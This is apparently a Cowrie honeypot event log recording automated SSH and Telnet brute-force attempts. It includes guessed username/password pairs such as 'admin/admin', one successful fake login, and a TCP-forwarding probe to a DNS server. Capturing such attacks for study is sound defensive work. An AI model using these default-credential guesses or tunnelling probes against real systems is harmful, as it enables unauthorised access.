{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":48172,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d23a5fedc83","protocol":"telnet","message":"New connection: 213.171.199.40:48172 (159.203.135.109:23) [session: 5d23a5fedc83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:17.221164Z"}
{"eventid":"cowrie.session.closed","duration":31.25046420097351,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:18.794038Z","src_ip":"213.171.199.40","session":"7599362bdaf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":34298,"dst_ip":"10.17.0.5","dst_port":23,"session":"e47157ecf13e","protocol":"telnet","message":"New connection: 45.63.42.31:34298 (10.17.0.5:23) [session: e47157ecf13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:19.095016Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":57294,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd581041f066","protocol":"telnet","message":"New connection: 213.171.199.40:57294 (159.203.135.109:23) [session: bd581041f066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:19.890178Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":57596,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfd4da25949b","protocol":"telnet","message":"New connection: 213.171.199.40:57596 (159.203.135.109:23) [session: dfd4da25949b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:19.990824Z"}
{"eventid":"cowrie.session.closed","duration":30.21258544921875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:20.047102Z","src_ip":"213.171.199.40","session":"ab82391ddf55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09635090827942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:20.359572Z","src_ip":"213.171.199.40","session":"ff80fb89c82d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.935314893722534,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:21.220434Z","src_ip":"213.171.199.40","session":"0337d876f83d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":34880,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bb5946982ef","protocol":"telnet","message":"New connection: 213.171.199.40:34880 (159.203.135.109:23) [session: 1bb5946982ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:21.707244Z"}
{"eventid":"cowrie.session.closed","duration":31.86419367790222,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:22.962129Z","src_ip":"213.171.199.40","session":"d826e9c2c0ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":42326,"dst_ip":"159.203.135.109","dst_port":23,"session":"df3deca8e6f8","protocol":"telnet","message":"New connection: 213.171.199.40:42326 (159.203.135.109:23) [session: df3deca8e6f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:23.762775Z"}
{"eventid":"cowrie.session.closed","duration":30.789809465408325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:24.046785Z","src_ip":"213.171.199.40","session":"53fba409bf4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.14720320701599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:24.052535Z","src_ip":"213.171.199.40","session":"b1e435b52f82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.409621477127075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:24.072479Z","src_ip":"213.171.199.40","session":"60c67ef1bf90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79554271697998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:24.188344Z","src_ip":"213.171.199.40","session":"faabb473f218","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.217994689941406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:25.068809Z","src_ip":"213.171.199.40","session":"83bc116c0390","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76235342025757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:25.092427Z","src_ip":"213.171.199.40","session":"22cc15f8eaa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.697497844696045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:26.079580Z","src_ip":"213.171.199.40","session":"e0d334a50e6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68979263305664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:26.084709Z","src_ip":"213.171.199.40","session":"ab83b5e881d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":36932,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b29075248c1","protocol":"ssh","message":"New connection: 114.141.59.195:36932 (159.203.135.109:22) [session: 9b29075248c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:26.238785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:26.244198Z","src_ip":"114.141.59.195","session":"9b29075248c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:26.493248Z","src_ip":"114.141.59.195","session":"9b29075248c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":58660,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f389beb4252","protocol":"ssh","message":"New connection: 107.173.55.151:58660 (10.17.0.5:22) [session: 0f389beb4252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:26.677238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:26.696563Z","src_ip":"107.173.55.151","session":"0f389beb4252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:26.711941Z","src_ip":"107.173.55.151","session":"0f389beb4252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.95206046104431,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:26.756682Z","src_ip":"213.171.199.40","session":"0e0716a5c518","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"#password#","message":"login attempt [root/#password#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:26.822228Z","src_ip":"107.173.55.151","session":"0f389beb4252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14789632","message":"login attempt [root/14789632] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:27.501812Z","src_ip":"114.141.59.195","session":"9b29075248c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:27.844665Z","src_ip":"107.173.55.151","session":"0f389beb4252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.69910430908203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:28.065350Z","src_ip":"213.171.199.40","session":"11201af026c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.56.86.114","src_port":54998,"dst_ip":"10.17.0.5","dst_port":23,"session":"5392369f8e5b","protocol":"telnet","message":"New connection: 167.56.86.114:54998 (10.17.0.5:23) [session: 5392369f8e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:28.348977Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:28.749371Z","src_ip":"114.141.59.195","session":"9b29075248c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.656705379486084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:30.070192Z","src_ip":"213.171.199.40","session":"f5d6cff090e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04706907272339,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:30.195664Z","src_ip":"213.171.199.40","session":"4d4fdecdbe75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.725491523742676,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:31.062161Z","src_ip":"103.115.172.252","session":"81207d7cea17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.738046169281006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:31.188781Z","src_ip":"213.171.199.40","session":"2e51e2d17681","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":38544,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b31326ac35e","protocol":"telnet","message":"New connection: 213.171.199.40:38544 (159.203.135.109:23) [session: 3b31326ac35e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:31.518036Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":38592,"dst_ip":"159.203.135.109","dst_port":23,"session":"80580690278d","protocol":"telnet","message":"New connection: 213.171.199.40:38592 (159.203.135.109:23) [session: 80580690278d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:31.535186Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":43940,"dst_ip":"159.203.135.109","dst_port":23,"session":"aeb5785b2f6e","protocol":"telnet","message":"New connection: 213.171.199.40:43940 (159.203.135.109:23) [session: aeb5785b2f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:33.173854Z"}
{"eventid":"cowrie.session.closed","duration":37.49366784095764,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:33.750258Z","src_ip":"45.63.42.31","session":"87108e972d46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":55456,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c0304f78fd8","protocol":"telnet","message":"New connection: 213.171.199.40:55456 (159.203.135.109:23) [session: 9c0304f78fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:36.705405Z"}
{"eventid":"cowrie.session.closed","duration":30.779284715652466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:37.073425Z","src_ip":"213.171.199.40","session":"6b52fc0b1a94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.135244846343994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:37.145756Z","src_ip":"213.171.199.40","session":"fdec5cc2101e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":57068,"dst_ip":"159.203.135.109","dst_port":23,"session":"2884747b92b2","protocol":"telnet","message":"New connection: 213.171.199.40:57068 (159.203.135.109:23) [session: 2884747b92b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:37.212855Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":57470,"dst_ip":"159.203.135.109","dst_port":23,"session":"eba9c31167ab","protocol":"telnet","message":"New connection: 213.171.199.40:57470 (159.203.135.109:23) [session: eba9c31167ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:37.333288Z"}
{"eventid":"cowrie.session.closed","duration":34.54928278923035,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:37.363237Z","src_ip":"45.63.42.31","session":"5997defaa1b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.99877429008484,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:38.820199Z","src_ip":"45.63.42.31","session":"6e97592f1660","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.12606143951416,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:39.333866Z","src_ip":"45.63.42.31","session":"c80329c54872","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.058143854141235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:40.731735Z","src_ip":"213.171.199.40","session":"a01566acee2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":39424,"dst_ip":"10.17.0.5","dst_port":23,"session":"932e23e2a267","protocol":"telnet","message":"New connection: 103.115.172.252:39424 (10.17.0.5:23) [session: 932e23e2a267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:40.751523Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":39526,"dst_ip":"10.17.0.5","dst_port":23,"session":"0894185679fc","protocol":"telnet","message":"New connection: 103.115.172.252:39526 (10.17.0.5:23) [session: 0894185679fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:40.970574Z"}
{"eventid":"cowrie.session.closed","duration":13.660736799240112,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:42.009617Z","src_ip":"167.56.86.114","session":"5392369f8e5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.626678466796875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:43.038985Z","src_ip":"213.171.199.40","session":"6762a15f8d65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33243727684021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:43.075142Z","src_ip":"213.171.199.40","session":"abc341404fd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":48736,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a997fb7c516","protocol":"telnet","message":"New connection: 213.171.199.40:48736 (159.203.135.109:23) [session: 8a997fb7c516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:43.429943Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":53546,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a9fb90bc03a","protocol":"telnet","message":"New connection: 213.171.199.40:53546 (159.203.135.109:23) [session: 5a9fb90bc03a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:44.805881Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":57042,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ebf8148f427","protocol":"telnet","message":"New connection: 213.171.199.40:57042 (159.203.135.109:23) [session: 0ebf8148f427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:45.902416Z"}
{"eventid":"cowrie.session.closed","duration":38.05009961128235,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:46.242364Z","src_ip":"45.63.42.31","session":"c03128bdc23a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":29500,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bc001df82f0","protocol":"ssh","message":"New connection: 87.251.64.176:29500 (10.17.0.5:22) [session: 3bc001df82f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:47.962221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:47.966235Z","src_ip":"87.251.64.176","session":"3bc001df82f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:48.062684Z","src_ip":"87.251.64.176","session":"3bc001df82f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":36542,"dst_ip":"159.203.135.109","dst_port":23,"session":"1097a61d1665","protocol":"telnet","message":"New connection: 213.171.199.40:36542 (159.203.135.109:23) [session: 1097a61d1665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:48.222005Z"}
{"eventid":"cowrie.session.closed","duration":31.047248125076294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:48.268285Z","src_ip":"213.171.199.40","session":"5d23a5fedc83","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:48.362552Z","src_ip":"87.251.64.176","session":"3bc001df82f0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:48.462094Z","session":"3bc001df82f0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:48.562996Z","src_ip":"87.251.64.176","session":"3bc001df82f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:48.661955Z","src_ip":"87.251.64.176","session":"3bc001df82f0","protocol":"ssh"}
